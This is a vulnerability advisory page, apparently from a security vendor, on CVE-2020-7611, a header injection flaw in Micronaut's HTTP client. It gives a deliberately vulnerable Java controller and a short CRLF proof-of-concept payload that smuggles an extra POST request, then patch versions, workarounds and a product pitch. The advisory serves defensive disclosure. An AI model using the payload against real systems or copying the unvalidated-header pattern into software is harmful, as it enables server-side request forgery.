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CRITICAL severity

GHSA-694p-xrhg-x3wm

CRITICALFix: micronaut-projects/micronaut-core@6deb60b

GHSA-694p-xrhg-x3wm is a critical-severity (CVSS 9.8) CWE-444 vulnerability in io.micronaut:micronaut-http-client. 2 public exploit references exist, so weaponization risk is real. O3 Security confirms whether GHSA-694p-xrhg-x3wm is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Micronaut's HTTP client is vulnerable to HTTP Request Header Injection

Also known asCVE-2020-7611SNYK-JAVA-IOMICRONAUT-561342
Published
Mar 30, 2020
Updated
Jul 8, 2026
Affected
2 pkgs
Patched
2 / 2
Exploits
2 known
Exploitation data as of Jul 8, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Real-World Exposure

2 pkgs affected
io.micronaut:micronaut-http-clientio.micronaut:micronaut-http-client

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.

Description

Vulnerability

Micronaut's HTTP client is vulnerable to "HTTP Request Header Injection" due to not validating request headers passed to the client.

Example of vulnerable code:

@Controller("/hello")
public class HelloController {

    @Inject
    @Client("/")
    RxHttpClient client;

    @Get("/external-exploit")
    @Produces(MediaType.TEXT_PLAIN)
    public String externalExploit(@QueryValue("header-value") String headerValue) {
        return client.toBlocking().retrieve(
            HttpRequest.GET("/hello")
                .header("Test", headerValue)
        );
    }
}

In the above case a query value received from a user is passed as a header value to the client. Since the client doesn't validate the header value the request headers and body have the potential to be manipulated.

For example, a user that supplies the following payload, can force the client to make multiple attacker-controlled HTTP requests.

List<String> headerData = List.of(
    "Connection: Keep-Alive", // This keeps the connection open so another request can be stuffed in.
    "",
    "",
    "POST /hello/super-secret HTTP/1.1",
    "Host: 127.0.0.1",
    "Content-Length: 31",
    "",
    "{\"new\":\"json\",\"content\":\"here\"}",
    "",
    ""
);
String headerValue = "H\r\n" + String.join("\r\n", headerData);;
URI theURI =
    UriBuilder
        .of("/hello/external-exploit")
        .queryParam("header-value", headerValue) // Automatically URL encodes data
        .build();
HttpRequest<String> request = HttpRequest.GET(theURI);
String body = client.toBlocking().retrieve(request);

Note that using @HeaderValue instead of @QueryValue is not vulnerable since Micronaut's HTTP server does validate the headers passed to the server, so the exploit can only be triggered by using user data that is not an HTTP header (query values, form data etc.).

Impact

The attacker is able to control the entirety of the HTTP body for their custom requests. As such, this vulnerability enables attackers to perform a variant of Server Side Request Forgery.

Patches

The problem has been patched in the micronaut-http-client versions 1.2.11 and 1.3.2 and above.

Workarounds

Do not pass user data directly received from HTTP request parameters as headers in the HTTP client.

References

Fix commits

For more information

If you have any questions or comments about this advisory:

Credit

Originally reported by @JLLeitschuh

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
Mavenio.micronaut:micronaut-http-clientall versions1.2.11
Mavenio.micronaut:micronaut-http-client1.3.0&&< 1.3.21.3.2
Exploits & PoCs
2

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for io.micronaut:micronaut-http-client. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update io.micronaut:micronaut-http-client to 1.2.11 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-694p-xrhg-x3wm is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-694p-xrhg-x3wm is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-694p-xrhg-x3wm. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Vulnerability Micronaut's HTTP client is vulnerable to "HTTP Request Header Injection" due to not validating request headers passed to the client. Example of vulnerable code: ```java @Controller("/hello") public class HelloController { @Inject @Client("/") RxHttpClient client; @Get("/external-exploit") @Produces(MediaType.TEXT_PLAIN) public String externalExploit(@QueryValue("header-value") String headerValue) { return client.toBlocking().retrieve( HttpRequest.GET("/hello") .header("Test", headerValue) ); } } ```
O3 Security · Impact-Aware SCA

Is GHSA-694p-xrhg-x3wm in your dependencies?

O3 detects GHSA-694p-xrhg-x3wm across Maven dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.